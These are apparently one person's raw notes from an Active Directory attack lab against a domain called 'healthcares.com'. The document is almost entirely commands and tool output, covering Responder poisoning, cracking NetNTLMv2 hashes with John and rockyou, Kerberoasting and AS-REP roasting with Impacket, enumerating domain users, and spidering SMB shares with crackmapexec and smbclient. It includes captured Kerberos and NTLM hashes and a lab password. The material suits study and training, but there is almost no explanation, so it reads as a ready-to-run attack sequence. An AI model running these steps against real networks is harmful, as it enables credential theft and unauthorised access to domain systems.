sudo responder -I eth0 -rdwv

nano file.txt

sudo john file.txt --wordlist=rockyou.txt >> pass_file.txt

or

touch hashahmed.txt >>
"90f9e1919cf42cef:0EC47173FD58BF2BCC49A5ED119A131E:0101000000000000008043BECF7692DA0100
FB16723258DE770000000002000800540049004200 4B0001001E00570049004E002D0054004C0033005
7004B003100510053003500500044000400340057004900 4E002D0054004C00330057004B0031005100
530035005000440 02E00540049004200 4B002E004C004F00430041004C000300140054004900 42004B0
02E004C004F00430041004C000500140054004900 42004B002E004C004F00430041004C000700080080
43BECF7692DA0106000400020000000800300030000000000000000000000000020000010A0B5440C96E
35B63E283542FEE551C44230EFEBA89C87E6FDAB421865327CC0A001000000000000000000000000000
0000000009002E0063006900660073002F00530045005200560045005200310036005F00530045004300
550052004900540059006F000000000000000000"

sudo john hash-ahmed.txt --wordlist=rockyou.txt >> passahmed.txt

ServicePrincipalName

python3 GetUserSPNs.py healthcares.com/ahmed:P@ssw0rd! -dc-ip 192.168.74.148

Impacket v0.11.0 - Copyright 2023 Fortra

ServicePrincipalName	Name	MemberOf	PasswordLastSet	LastLogon	Delegation
sql-service/healthcares.com:4444	sql		2024-05-03 13:52:29.934549	<never>	

when request: (TGS)

```
python3 GetUserSPNs.py healthcares.com/ahmed:P@ssw0rd! -dc-ip 192.168.74.148 -request

Impacket v0.11.0 - Copyright 2023 Fortra

ServicePrincipalName            Name  MemberOf  PasswordLastSet             LastLogon  Delegation
------------------------------  ----  --------  --------------------------  ---------  ----------
sql-service/healthcares.com:4444  sql           2024-05-03 13:52:29.934549  <never>

[-] CCache file is not found. Skipping...

$krb5tgs$23$*sql$HEALTHCARES.COM$healthcares.com/sql*$5c4eec4119ff29ee85deca46b978f5ef$b7
97c9924c44f3c61f4eb7d65a61cc4028fa702f19e687757a0aa0ced8914c210461ec0298c4af9d0528725b4
b84021fcd33e13fa03c2ca7dfc2881c08dae25f3301e4b858ca289c38f7b851175d6bf64ad35b42dbbc3eb4
f9fc6ea9e081b4017103bb5572f24c4309359d24efaebca0fcf97c754d554c12eefa000521494ff484270b6d
7e4d2ffbceeac9a3b4422641267d2fb98d7d249a3766d2cd799b6ac129f71f6bfdc1638008356bb9cf813ac
91c32ff19d81c2da5f8650845216d3ce4bd0a65b583780f54808d2a41561603e18cebacfe8e06f4343abe82
21bb502aa9d65af0c0aa2b27433ce48019e7133f62666aa6843be2ba09ed76954f250303da0010e213064
bdfefcda80409775d9e836c59da42184fdc92475aacbd31a274d1fd8b3ac1e2a2c68eda3d31890d7d07f7df
2d98daaff62bb7d9473408f96339b889182d3944821c83ef775f8b6a8f810494e2150d5a3efcd1db28577b
e664a43e03a5ac34c70c33c3f89be2073cd7abcc94c49b44816fed1d0cc027752bc68b71c5963fc7cfcc26bf
bd42ec10a6d76d0f4fbe994126031a363820b23cdfda87071d742d3c4d96bbe0ab052b72bddac55717103
03db61df640142ef75d044b75c753480474fd25e13795acbbf09c451aebb93498f08ca6ab7ad7100ecfb787
05f8ca942307174716424fc69ecf86329536bcf0887d1456d73b0a516235744040fd558304804b4195ef58
34fcd603d7fd5df4297eb3f16ff075c7f9df5868ba6d2ad4ec6b818e91ff67b231695fe303a501f9178e734ac
dfedb9ebc248dd4b77dd3cc51a3340dcc8d519a5a2a8e2fd445806b36cd49422bc6468cf65a084e972bb19
763e1e8399e942de75be8e66b814e328cd164bc975495a5b1052b4e0399be0c04fefbd301ce00ac15e8cf6
99b4b367bd7cce01fb99a556e751627cbac0cf575ada75e70a7c2e6a9234ca34dc15828d05c27be56bb14e
55ee933fb5f96c5b208e6b6bd3433a8db880929f8d33b88ecdbc1e80c9bb69d4de00318df22778240b1ab
6f28529a5a9467633cc2457d4392e93acc3a5bc090c8fe60464013cbc7fb7239bc6da4e45e031c9c108f9af
b7b534cc84d1bfc8d770d544d1c9f5a88a0523eb2fa64eef87479cf05c1ed74d5870aa438e470ed2795833
53dc5262d6078a4977c2b283b2cf7d7d1cd4fed331b8776518c0f5eea4cbea9909af763ff5136dff5aa913f5
3ac4baf2144c6b57dc76950628d65da1914c53f559e84b5f02bbb90fe8e4b7d6a7eec065a05561809aa7fb
e34554c43bbea7d65bfeaa9448ce5fe1ec0ee51aa31c5819c32207dd0a504444e97cb3aab0d4a682200949
e9d7895
```

collect all users on domain (must password of Ahmed)

python GetADUsers.py -dc-ip 192.168.74.148 -all healthcares.com/ahmed

Password:

[*] Querying 192.168.74.148 for information about domain.

Name	Email	PasswordLastSet	LastLogon
Administrator		2024-05-01 15:47:33.599031	2024-05-21 19:06:14.976516
Guest		<never>	<never>
DefaultAccount		<never>	<never>
krbtgt		2024-05-01 16:02:29.991915	<never>
ahmed		2024-05-02 12:32:49.933295	2024-05-21 19:22:00.820476
lobna		2024-05-02 12:32:50.026825	<never>
ali		<never>	<never>
omar		2024-05-02 12:36:25.401728	<never>
mohra		2024-05-02 12:36:25.511312	<never>
ziad		2024-05-02 12:36:25.620798	<never>
rafaat		2024-05-02 12:36:25.699609	<never>
amira		2024-05-02 12:36:25.792496	<never>
kareem		2024-05-02 12:36:25.870559	<never>
mohamed		2024-05-02 12:36:25.964372	<never>
mahmoud		2024-05-02 12:36:26.042525	<never>
mustafa		2024-05-02 12:36:26.167576	<never>
rozan		2024-05-02 12:36:26.276862	<never>
mazen		2024-05-02 12:36:26.386124	<never>

eslam 2024-05-02 12:36:26.480232 <never>

farida 2024-05-02 12:36:26.573702 <never>

mariam 2024-05-02 12:36:26.667815 <never>

judy 2024-05-02 12:36:26.761070 <never>

hamza 2024-05-02 12:36:26.839473 <never>

rawan 2024-05-02 12:36:26.948900 <never>

esraa 2024-05-02 12:36:27.027067 <never>

osama 2024-05-02 12:36:27.120663 <never>

ehab 2024-05-02 12:36:27.214627 <never>

eman 2024-05-02 12:36:27.323610 <never>

tarek 2024-05-02 12:36:27.417873 <never>

salah 2024-05-02 12:36:27.511370 <never>

taher 2024-05-02 12:36:27.604992 <never>

sql 2024-05-03 13:52:29.934549 <never>

collect hash of user active kerberos pre-authentication (TGT) (write any pass (e.g. 123))

python3 GetNPUsers.py healthcare.com/lobna -dc-ip 192.168.74.169

[*] Cannot authenticate lobna, getting its TGT

$krb5asrep$23$lobna@HEALTHCARES.COM:1cee538b028948dba8e776bbf64c325a$7bbd96e2ef44be675164419ae34b30cc1e6d642eed101696573157f0c6d7b6b2c3e8080f7dc7548f2af6867cde45f2ead45b0ec192f702ac40f2b8b6562696c851427a8d7f9b76ca13c9f33f1a86b3a21ae3dca338a516a2d2c1389dd29c4dc8ef99c8bcde972dfa98a86c57b84aedc267fd4168a86cf73a311747ca4890b7c240259335620c8026c70334373f190a88e4afe5ddfb469ad810f6ac039c06bb93ad39d83a9758138852a191b874a73b5665484605017f9b023def034deaef72f61272c710cb3e0f200d5537bee724b5b2ab3523680eaaa1ff9e1e9ce788687cb9100effe8ccffd43eaa08bf59f791402f4d60

attack port 445 (SMB)

$ crackmapexec smb 192.168.74.148 -u ahmed -p 'P@ssw0rd!' -M spider_plus -o READ_ONLY=false

SMB 192.168.74.148 445 SERVER16_SRCURI [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:SERVER16_SRCURI) (domain:healthcares.com) (signing:True) (SMBv1:True)

SMB 192.168.74.148 445 SERVER16_SRCURI [+] healthcares.com\ahmed:P@ssw0rd!

SPIDER_P... 192.168.74.148 445 SERVER16_SRCURI [*] Started spidering plus with option:

SPIDER_P... 192.168.74.148 445 SERVER16_SRCURI [*] DIR: ['print$']

SPIDER_P... 192.168.74.148 445 SERVER16_SRCURI [*] EXT: ['ico', 'lnk']

SPIDER_P... 192.168.74.148 445 SERVER16_SRCURI [*] SIZE: 51200

SPIDER_P... 192.168.74.148 445 SERVER16_SRCURI [*] OUTPUT: /tmp/cme_spider_plus

┌──(kali㉿kali)-[~]

└─$ cd /tmp/cme_spider_plus

┌──(kali㉿kali)-[/tmp/cme_spider_plus]

└─$ ls

192.168.74.148 192.168.74.148.json

┌──(kali㉿kali)-[/tmp/cme_spider_plus]

└─$ cd 192.168.74.148

┌──(kali㉿kali)-[/tmp/cme_spider_plus/192.168.74.148]

└─$ ls

SYSVOL Top-Secret

```
┌──(kali㉿kali)-[/tmp/cme_spider_plus/192.168.74.148]
└─$ cd Top-Secret

┌──(kali㉿kali)-[/tmp/cme_spider_plus/192.168.74.148/Top-Secret]
└─$ ls
task.txt

┌──(kali㉿kali)-[/tmp/cme_spider_plus/192.168.74.148/Top-Secret]
└─$ cat task.txt
This is your task
Try to attack active directory
```

or

```
┌──(kali㉿kali)-[~]
└─$ crackmapexec smb 192.168.74.148 -u ahmed -p 'P@ssw0rd!' --shares
SMB         192.168.74.148  445    SERVER16_SRCURI  [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:SERVER16_SRCURI) (domain:healthcares.com) (signing:True) (SMBv1:True)
SMB         192.168.74.148  445    SERVER16_SRCURI  [+] healthcares.com\ahmed:P@ssw0rd!
SMB         192.168.74.148  445    SERVER16_SRCURI  [+] Enumerated shares
SMB         192.168.74.148  445    SERVER16_SRCURI  Share           Permissions     Remark
SMB         192.168.74.148  445    SERVER16_SRCURI  -----           -----------     ------
SMB         192.168.74.148  445    SERVER16_SRCURI  ADMIN$                          Remote Admin
SMB         192.168.74.148  445    SERVER16_SRCURI  C$                             Default share
SMB         192.168.74.148  445    SERVER16_SRCURI  IPC$                           Remote IPC
```

```
SMB         192.168.74.148  445    SERVER16_SRCURI  NETLOGON        READ          Logon server share
SMB         192.168.74.148  445    SERVER16_SRCURI  SYSVOL          READ          Logon server share
SMB         192.168.74.148  445    SERVER16_SRCURI  Top-Secret      READ
```

```
┌──(kali㉿kali)-[~]
└─$ sudo smbclient -U ahmed \\\\HEALTHCARES.COM\\'Top-Secret'
[sudo] password for kali:
Password for [WORKGROUP\ahmed]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu May  2 14:01:48 2024
  ..                                  D        0  Thu May  2 14:01:48 2024
  task.txt                            A       50  Thu May  2 13:29:13 2024

                5097727 blocks of size 4096. 939056 blocks available
smb: \> ls
  .                                   D        0  Thu May  2 14:01:48 2024
  ..                                  D        0  Thu May  2 14:01:48 2024
  task.txt                            A       50  Thu May  2 13:29:13 2024

                5097727 blocks of size 4096. 939056 blocks available
smb: \> get task.txt
getting file \task.txt of size 50 as task.txt (16.3 KiloBytes/sec) (average 16.3 KiloBytes/sec)
```